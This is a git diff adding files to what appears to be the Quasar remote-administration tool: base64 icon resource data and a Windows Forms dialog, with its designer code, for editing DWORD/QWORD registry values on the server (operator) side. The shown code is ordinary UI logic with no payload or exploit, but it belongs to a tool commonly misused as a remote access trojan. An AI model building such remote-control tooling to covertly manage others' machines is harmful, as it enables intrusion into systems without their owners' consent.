Iv85KSL/MyMc/ywcFf+omJH/3c3G/0k5Mv8fDwj/dmZf/+XVzv/Tw7z/y7u0/8u7tP/h0cr/inpy/y8f + GP/m4N3////////+/v///v7//////////////////////////////v7/////////////////+/n4/6eX + kP81JR7/dGRd/9nJwv/Vxb7/y7u0/8y8tf/Lu7T/1cW+/97Ox/9pWVL/GwsE/zkpIv96amP/eWli/zEh + Gv80JB3/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEh + Gv84KCH/OSki/zkpIv85KSL/Oioj/y4eF/81JR7/rZ2W/+vb1P+MfHX/Hg4H/y0dFv+Tg3z/5NTN/9rK + w//Ovbb/38/I/5iIgP9GNzD//vz7//////////////////////////////////////////////////// + //////////////79/f/m19D/hnVu/xUFAP91ZV7/2srD/9LCu//MvLX/zb22/829tv/ezsf/jHx1/zAg + Gf9yYlv/XU1G/y4eF/8yIhv/Oioj/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af// + /wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zoqI/8yIhv/MCAZ/6KSi//j08z/1cW+/21d + Vv8bCwT/IhIL/2xcVf+4qKH/2MfA/+DQyf/dzMb/eGZf/7qxrf////////////////////////////// + ///////////////////////////////////u5eH/08G5/8W1rf80JB//JRUU/7Ghmv/dzcb/zLy1/829 + tv/Nvbb/38/I/419dv8vHxj/QTEq/zAgGf82Jh//OCgh/zgoIf85KSL/Oioj/y0dFv9GNi/Zbl5Xh/// + /wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/yUV + Dv9tXVb/3s7H/9zMxf/UxL3/iHhx/zUlIP8SAgD/JhYO/1VGQf99bWf/o5OM/7emn/+fj4j/493a//7+ + /v/////////////////////////////////////////////////z6uf/0L+4/9DAuf/Ht7D/OSki/x8P + CP+UhH3/3s7H/86+t//Lu7T/0sK7/93Nxv9kVE3/IREK/zYmH/83JyD/OCgh/zgoIf84KCH/OSki/zoq + I/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkp + Iv85KSL/OSki/zoqI/8xIRr/KxsU/52Nhv/j08z/28vE/+HRyv/Bsar/hXVu/0w8NP8jFhP/HQ4J/yER + Cv8yIhv/Nycf/zooIP+sop3////////////////////////////////////////////r4d3/x7Sr/8i3 + sP/n19D/loZ//yAQCf8rGxT/rZ2W/93Nxv/KurP/1cW+/+nZ0v+aioP/KhoT/zUlHv84KCH/Nycg/zgo + If84KCH/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8v + KO0xIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oysk/ywcFf80JB3/nY2G/97Ox//h0cr/4dHK/93N + xv/Rwbr/vayl/6STjP+Hd3H/cmJb/2NTTf9MOTL/dGNa/+3o5v////////7+///+/v///v7///////// + ///07+z/x7Wt/8e3r//n2dL/va2m/zwsJf8UBAD/Y1NM/9XFvv/YyMH/38/I/+HRyv+fj4j/NiYf/y4e + F/86KiP/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af// + /wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/LBwV/y0d + Fv92Zl//wrKr/9zMxf/g0Mn/5NTN/+DQyf/by8T/3MzF/93Nxv/ZycL/1sa//8m4r//m29b///////// + /////v7//////////////v3/49fS/9fEvf/l1c7/taWd/z4uJ/8OAAD/U0M8/9PDvP/u3tf/3MzF/72t + pv9vX1j/LBwV/y0dFv86KiP/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5e + V4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkp + Iv84KCH/OSki/zoqI/8wIBn/JRUO/z0tJv9zY1z/p5eQ/8q6s//czMX/5NTN/+DQyf/dzcb/3MzF/9vL + xP/SwLj/3c3G//z5+P/////////////+/v////////78/+rZ0f+/rab/e2xk/yUVEP8kFA3/fm5n/+DQ + yf/i0sv/rZ2W/3JiW/83JyD/JBQN/y8fGP85KSL/OCgh/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/OSki/zUlHv8sHBX/KBgR/zAgGf9KOjP/bl5X/49/ + eP+pmZL/v6+o/8q6s//Swrv/zr63/93MxP/89/X//////////////////////+Pc2f9xXlb/NyYg/yoa + E/9SQjz/kIB5/6yclf+Le3T/UkI7/zEhGv8oGBH/LR0W/zYmH/86KiP/OCgh/zgoIf84KCH/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVND + PKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zYm + H/80JB3/MSEa/yoaE/8rGxT/Nycg/z8vKP9OPjf/Xk5I/2NTS/9eTET/xLu3//////////////////// + /v+ShoH/EgAA/ysbFP9FNS7/X09I/04+N/82Jh//KRkS/y4eF/8zIxz/NSUe/zcnIP85KSL/MSEa/zIi + G/85KSL/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// + /wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/zkpIv84KCH/NiYf/zUlHv8zIxz/MCAZ/y0dFv8tHRX/EAAA/3dp + ZP/49vX////////////v7Ov/YFBJ/yAOBv87LCX/NSUe/zIiG/81JR7/NSUe/zcnIP84KCH/OSki/zgo + If85KSL/MSEa/049Nf9OPTX/MCAZ/zkpIv84KCH/OSki/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2 + L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zgo + If84KCH/Oiok/yMRCf9PQTr/6efm////////////4t7c/z4sJP8lFQ7/Oioj/zcnIP85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv84KCH/Oioj/xUEAf+rnpn/ppmU/xUEAf86KyP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgo + If85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv86KiP/OCki/yYVDv8sGhP/PCwl/zoq + I/85KSL/OSki/zgoIf84KCH/OCgh/zoqI/8oGRH/NCEZ/9vV0v///////////8W9uf8pFw//MSEa/zkp + Iv84KCH/Nycg/zgoIf85KSL/OSki/zkpIv85KSL/Oioj/xwMB/8zHxj/7ero/+7q6f82Ixz/HQwJ/zss + JP86KiP/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Nycg/zoq + Iv9tXVj/Xk5I/zIiHP83JyD/OCgh/zgoIf85KSL/OCgh/zgoIf85KSL/NSUe/yQSCf+3rqv///////// + //+dko7/GQcA/zsrJP84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zAhGP8pFxL/s6el//// + ////////saek/yQSDv8yIhv/Oysk/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKOsxIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/OCgh/xsLBf8nHh3/7+bh/6efnP8GAAD/JxUQ/zsrJP85KSL/OSki/zkpIv85KSL/OCgh/zoq + I/8YBgD/kYR///7+/f/7+fn/f29p/xwLBP88LCX/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y4e + F/85Jh//u7Ou//////////////////////+4r6v/PCoi/y4eF/86KiP/OSki/zkpIv85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVFBOqs+LifvMSEa/zgoIf85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/NiYf/zkpIf9tXlj/iXx4//z38//Pysj/e2xm/1pLRP8yIRr/Nycg/zkp + Iv85KSL/OSki/zkpIv86KiP/HQsE/3hoYP/6+fn/9fTz/1xNRv8jEgv/Oisk/zkpIv85KSL/OSki/zkp + Iv86KiP/Oioj/zsrJP8xIRr/MR8Y/52Qiv/7+vn////////////7+fn/m4+I/zAfF/8yIhv/Oioj/zkp + Iv85KSL/OSki/zoqI/8tHRb/RjYv221dVov///8B////Af///wH///8B////Af///wFTQzyrPy8o7zIi + G/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zIiG/88KiL/4NfT/////////v3///7+//// + //+bko7/JBIL/zQjHP85KSL/OSki/zkpIv85KSL/Oioj/yQTC/9ZS0X/9fT0//Hv7v9DMiv/JxcQ/zoq + I/85KSL/OSki/zoqI/85KSL/KxsU/yoZEv82Jh7/Oysl/zMjHP8aCAX/lIiD//79/P/9/fz/koeD/xkH + BP80JR3/Oysk/zkpIv85KSL/OSki/zkpIv87KyT/LR0W/0MzLNtsXFWL////Af///wH///8B////Af// + /wH///8BaFhRaUU1LscsHBX/Oioj/zgoIf85KSL/OSki/zgoIf85KSL/OSki/zkpIv83JyD/OSoj/1RF + Pv9pWlP/9/Hv/8O/vP9WR0D/Szs0/zQkHP84KCH/OSki/zkpIv85KSL/OSki/zkpIv8oFxD/QjEq//Hv + 7//j3tr/OSYe/ywcFv86KiP/OSki/zkpIv86KyT/Lh0V/1A/N/9WR0D/MB8X/zMjHP87KyT/KhoU/ygV + Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// + /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM + iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg + Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm + H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE + Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq + I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb + FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr + JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq + I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo + If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI + Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditWord.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditWord.Designer.cs new file mode 100755 index 0000000..62aefd5 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditWord.Designer.cs @@ -0,0 +1,192 @@ +using Quasar.Server.Controls; +using Quasar.Server.Enums; + +namespace Quasar.Server.Forms +{ + partial class FrmRegValueEditWord + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmRegValueEditWord)); + this.valueNameTxtBox = new System.Windows.Forms.TextBox(); + this.label1 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.cancelButton = new System.Windows.Forms.Button(); + this.okButton = new System.Windows.Forms.Button(); + this.baseBox = new System.Windows.Forms.GroupBox(); + this.radioDecimal = new System.Windows.Forms.RadioButton(); + this.radioHexa = new System.Windows.Forms.RadioButton(); + this.valueDataTxtBox = new WordTextBox(); + this.baseBox.SuspendLayout(); + this.SuspendLayout(); + // + // valueNameTxtBox + // + this.valueNameTxtBox.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.valueNameTxtBox.Location = new System.Drawing.Point(12, 27); + this.valueNameTxtBox.Name = "valueNameTxtBox"; + this.valueNameTxtBox.ReadOnly = true; + this.valueNameTxtBox.Size = new System.Drawing.Size(334, 20); + this.valueNameTxtBox.TabIndex = 5; + // + // label1 + // + this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(9, 11); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(66, 13); + this.label1.TabIndex = 10; + this.label1.Text = "Value name:"; + this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; + // + // label2 + // + this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(9, 53); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(61, 13); + this.label2.TabIndex = 9; + this.label2.Text = "Value data:"; + this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; + // + // cancelButton + // + this.cancelButton.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.cancelButton.DialogResult = System.Windows.Forms.DialogResult.Cancel; + this.cancelButton.Location = new System.Drawing.Point(271, 128); + this.cancelButton.Name = "cancelButton"; + this.cancelButton.Size = new System.Drawing.Size(75, 23); + this.cancelButton.TabIndex = 2; + this.cancelButton.Text = "Cancel"; + this.cancelButton.UseVisualStyleBackColor = true; + // + // okButton + // + this.okButton.DialogResult = System.Windows.Forms.DialogResult.OK; + this.okButton.Location = new System.Drawing.Point(190, 128); + this.okButton.Name = "okButton"; + this.okButton.Size = new System.Drawing.Size(75, 23); + this.okButton.TabIndex = 1; + this.okButton.Text = "OK"; + this.okButton.UseVisualStyleBackColor = true; + this.okButton.Click += new System.EventHandler(this.okButton_Click); + // + // baseBox + // + this.baseBox.Controls.Add(this.radioDecimal); + this.baseBox.Controls.Add(this.radioHexa); + this.baseBox.Location = new System.Drawing.Point(190, 53); + this.baseBox.Name = "baseBox"; + this.baseBox.Size = new System.Drawing.Size(156, 63); + this.baseBox.TabIndex = 6; + this.baseBox.TabStop = false; + this.baseBox.Text = "Base"; + // + // radioDecimal + // + this.radioDecimal.AutoSize = true; + this.radioDecimal.Location = new System.Drawing.Point(14, 40); + this.radioDecimal.Name = "radioDecimal"; + this.radioDecimal.Size = new System.Drawing.Size(63, 17); + this.radioDecimal.TabIndex = 4; + this.radioDecimal.Text = "Decimal"; + this.radioDecimal.UseVisualStyleBackColor = true; + // + // radioHexa + // + this.radioHexa.AutoSize = true; + this.radioHexa.Checked = true; + this.radioHexa.Location = new System.Drawing.Point(14, 17); + this.radioHexa.Name = "radioHexa"; + this.radioHexa.Size = new System.Drawing.Size(86, 17); + this.radioHexa.TabIndex = 3; + this.radioHexa.TabStop = true; + this.radioHexa.Text = "Hexadecimal"; + this.radioHexa.UseVisualStyleBackColor = true; + this.radioHexa.CheckedChanged += new System.EventHandler(this.radioHex_CheckboxChanged); + // + // valueDataTxtBox + // + this.valueDataTxtBox.IsHexNumber = true; + this.valueDataTxtBox.Location = new System.Drawing.Point(12, 70); + this.valueDataTxtBox.MaxLength = 8; + this.valueDataTxtBox.Name = "valueDataTxtBox"; + this.valueDataTxtBox.Size = new System.Drawing.Size(161, 20); + this.valueDataTxtBox.TabIndex = 0; + this.valueDataTxtBox.Text = "0"; + this.valueDataTxtBox.Type = WordType.DWORD; + // + // FrmRegValueEditWord + // + this.AcceptButton = this.okButton; + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.CancelButton = this.cancelButton; + this.ClientSize = new System.Drawing.Size(358, 163); + this.Controls.Add(this.valueDataTxtBox); + this.Controls.Add(this.cancelButton); + this.Controls.Add(this.baseBox); + this.Controls.Add(this.okButton); + this.Controls.Add(this.label2); + this.Controls.Add(this.valueNameTxtBox); + this.Controls.Add(this.label1); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.KeyPreview = true; + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmRegValueEditWord"; + this.ShowIcon = false; + this.Text = "Edit"; + this.baseBox.ResumeLayout(false); + this.baseBox.PerformLayout(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.TextBox valueNameTxtBox; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Button cancelButton; + private System.Windows.Forms.Button okButton; + private System.Windows.Forms.GroupBox baseBox; + private System.Windows.Forms.RadioButton radioDecimal; + private System.Windows.Forms.RadioButton radioHexa; + private Controls.WordTextBox valueDataTxtBox; + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditWord.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditWord.cs new file mode 100755 index 0000000..a8745c1 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegValueEditWord.cs @@ -0,0 +1,80 @@ +using System; +using System.Windows.Forms; +using Microsoft.Win32; +using Quasar.Common.Models; +using Quasar.Common.Utilities; +using Quasar.Server.Enums; + +namespace Quasar.Server.Forms +{ + public partial class FrmRegValueEditWord : Form + { + private readonly RegValueData _value; + + private const string DWORD_WARNING = "The decimal value entered is greater than the maximum value of a DWORD (32-bit number). Should the value be truncated in order to continue?"; + private const string QWORD_WARNING = "The decimal value entered is greater than the maximum value of a QWORD (64-bit number). Should the value be truncated in order to continue?"; + + public FrmRegValueEditWord(RegValueData value) + { + _value = value; + + InitializeComponent(); + + this.valueNameTxtBox.Text = value.Name; + + if (value.Kind == RegistryValueKind.DWord) + { + this.Text = "Edit DWORD (32-bit) Value"; + this.valueDataTxtBox.Type = WordType.DWORD; + this.valueDataTxtBox.Text = ByteConverter.ToUInt32(value.Data).ToString("x"); + } + else + { + this.Text = "Edit QWORD (64-bit) Value"; + this.valueDataTxtBox.Type = WordType.QWORD; + this.valueDataTxtBox.Text = ByteConverter.ToUInt64(value.Data).ToString("x"); + } + } + + private void radioHex_CheckboxChanged(object sender, EventArgs e) + { + if (valueDataTxtBox.IsHexNumber == radioHexa.Checked) + return; + + if(valueDataTxtBox.IsConversionValid() || IsOverridePossible()) + valueDataTxtBox.IsHexNumber = radioHexa.Checked; + else + radioDecimal.Checked = true; + } + + private void okButton_Click(object sender, EventArgs e) + { + if (valueDataTxtBox.IsConversionValid() || IsOverridePossible()) + { + _value.Data = _value.Kind == RegistryValueKind.DWord + ? ByteConverter.GetBytes(valueDataTxtBox.UIntValue) + : ByteConverter.GetBytes(valueDataTxtBox.ULongValue); + this.Tag = _value; + this.DialogResult = DialogResult.OK; + } + else + { + this.DialogResult = DialogResult.None; + } + + this.Close(); + } + + private DialogResult ShowWarning(string msg, string caption) + { + return MessageBox.Show(msg, caption, MessageBoxButtons.YesNo, MessageBoxIcon.Warning); + } + + private bool IsOverridePossible() + { + string message = _value.Kind == RegistryValueKind.DWord ? DWORD_WARNING : QWORD_WARNING; + + return ShowWarning(message, "Overflow") == DialogResult.Yes; + } + } +} diff --git 